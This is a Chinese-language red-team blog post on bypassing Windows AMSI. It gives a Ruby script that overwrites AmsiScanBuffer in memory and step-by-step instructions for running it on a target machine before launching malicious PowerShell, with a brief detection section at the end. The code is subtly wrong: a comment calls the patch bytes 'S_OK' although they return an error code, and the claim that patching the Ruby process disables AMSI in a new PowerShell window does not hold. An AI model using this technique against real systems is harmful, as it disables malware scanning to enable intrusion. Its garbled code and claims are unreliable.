一、AMSI绕过的故事:一次意外暴露的痕迹
有一次,我们在模拟攻击一个金融企业的内网时,遇到了一个非常棘手的难题:EDR(终端检测与响应)和 AMSI(Antimalware Scan Interface)联动,让我们的攻击脚本频频被拦截。尤其是在执行一些 PowerShell 脚本时,AMSI 几乎无所不在,无论是基础的反弹 Shell,还是复杂的 C2 框架,都会被 AMSI 的扫描机制监测到并直接阻断。
这就像在敌人的雷达下行动,我们的每一步都暴露无遗。
这次攻击让我清楚地认识到,想要在现代防御体系下完成任务,绕过 AMSI 是每一个红队成员必须掌握的技能。于是,我决定研究 AMSI 的实现机制,尝试从底层找到突破口。接下来,我会带大家一步步拆解 AMSI 绕过的关键技术,并展示一个完整的攻击链,教你如何在实战中绕过它。
---
二、AMSI到底是什么?深扒底层逻辑

在动手之前,我们先搞清楚 AMSI 的运作原理。AMSI 是 Windows 的一个防护机制,全称是 Antimalware Scan Interface,主要作用是为各种应用程序提供一个通用的恶意代码扫描接口。换句话说,它就像 Windows 的守门人,任何可能被执行的内容都会先过它这一关。
核心工作机制
- Hook机制:AMSI 会拦截一些支持脚本执行的进程,比如
powershell.exe和cscript.exe,通过 Hook 技术拦截它们的行为。 - 实时扫描:一旦进程调用一些涉及脚本执行的 API,AMSI 会将脚本内容提交给 AV(杀毒软件)引擎进行扫描。
- 特征匹配:AV 引擎会根据恶意代码的特征匹配规则决定是放行还是拦截。
为什么它难以绕过?
- 广泛覆盖:AMSI 的检测范围不仅包括 PowerShell,还涵盖了 VBScript 和 JScript。
- 实时更新:Windows Defender 等 AV 引擎会不断更新签名库,因此某些免杀技巧可能很快失效。
- 深度集成:AMSI 是直接集成到 Windows 系统中的,几乎所有主流安全产品都会调用它。
但是,再强大的机制也有漏洞。只要我们找到 AMSI 的关键接口位置,并对其行为进行篡改,就可以实现绕过。

---

三、实战出真知:巧妙绕过 AMSI
实验环境
为了更真实地还原场景,我搭建了以下实验环境:
- 操作系统:Windows 11 Pro
- 攻击机:Kali Linux 2023.2
- 目标工具:PowerShell(版本 5.1)
- 防护软件:启用 Windows Defender 和默认 AMSI
绕过思路
绕过 AMSI 的核心逻辑是“让它失去功能”。我们可以通过以下方法实现这一目标:
- 修改 AMSI 的返回值:通过篡改 AMSI 的返回值,让它始终表示“无威胁”。
- 内存层面 Hook:直接在内存中修改 AMSI 的核心函数逻辑。
- 替换 DLL:将调用 AMSI 的 DLL 替换为我们自己构造的“无害”版本。
接下来,我们用实战案例来说明这些方法的具体实现。
---
四、实战代码:内存级别击穿 AMSI
第一步:分析 AMSI 的关键接口
通过分析可以发现,AMSI 的核心函数是 AmsiScanBuffer,它的作用是将待检测的内容发送给 AV 引擎。如果我们可以 Hook 这个函数,并让它始终返回“无威胁”的状态,就能实现绕过。
在 Windows 系统中,AmsiScanBuffer 的返回值为一个 HRESULT 类型,S_OK 表示通过扫描,E_FAIL 表示扫描失败。只要我们让它返回 S_OK,就可以忽略 AMSI 的存在。
第二步:编写 Ruby + Shell 演示代码
我们用 Ruby 来实现内存注入,修改 AmsiScanBuffer 的返回值。以下是完整的代码:
<pre><code class="language-ruby">require 'fiddle'
定义相关常量
PAGE_EXECUTE_READWRITE = 0x40 PROCESS_ALL_ACCESS = 0x1F0FFF
获取内存地址的工具函数
def get_proc_address(library, function_name) lib = Fiddle.dlopen(library) Fiddle::Function.new(Fiddle::Handle::DEFAULT['GetProcAddress'], [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP).call(lib['kernel32.dll'], function_name) end
修改内存权限
def patch_amssi kernel32 = Fiddle.dlopen('kernel32.dll') virtual_protect = Fiddle::Function.new(kernel32['VirtualProtect'], [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)
找到 AMSI 的核心函数地址
amsi_dll = Fiddle.dlopen('amsi.dll') amsi_scan_buffer = amsi_dll['AmsiScanBuffer']
修改该地址的内存权限以进行写入
old_protect = Fiddle::Pointer.malloc(4) virtual_protect.call(amsi_scan_buffer, 4, PAGE_EXECUTE_READWRITE, old_protect)
写入新的汇编指令,让函数直接返回 S_OK
patch = "\xB8\x57\x00\x07\x80\xC3" # MOV EAX, S_OK; RET Fiddle::Pointer[amsi_scan_buffer][0, patch.size] = patch
puts "AMSI Patch Applied Successfully!" end
执行 AMSI 绕过
patch_amssi</code></pre>
第三步:运行脚本验证效果
- 在目标机器上安装 Ruby 环境。
- 将上述代码保存为
bypass_amsi.rb。 - 关闭所有正在运行的 PowerShell 窗口,确保环境干净。
- 运行脚本:
ruby bypass_amsi.rb。 - 打开新 PowerShell 窗口,尝试运行恶意脚本,发现 AMSI 已被绕过。
---
五、防御视角:如何检测这种绕过?
虽然我们是以攻击者的视角在思考,但作为一名技术人员,了解防御思路同样重要。
- 内存完整性检测:安全软件可以定期检查 AMSI 函数的内存区域是否被篡改。
- 行为分析:监控恶意脚本执行时的系统调用行为,发现异常模式。
- 文件完整性保护:确保 AMSI 的 DLL 和关键函数未被替换或篡改。
---
六、经验总结:攻击者的脑回路
- 攻击的本质是对抗:绕过 AMSI 的核心是理解它的底层逻辑并找到关键点。
- 保持灵活性:AMSI 绕过的方法有很多,如果一种方法失效,要快速切换到备用方案。
- 演练至上:在实战中,构造一个接近真实场景的测试环境非常重要,这样才能验证你的攻击是否有效。
AMSI 绕过只是红队对抗中的一个小环节,但它的难度和乐趣却让人上瘾。希望这篇文章能为你打开新的技术视角,带你深入了解攻击与反击的艺术!
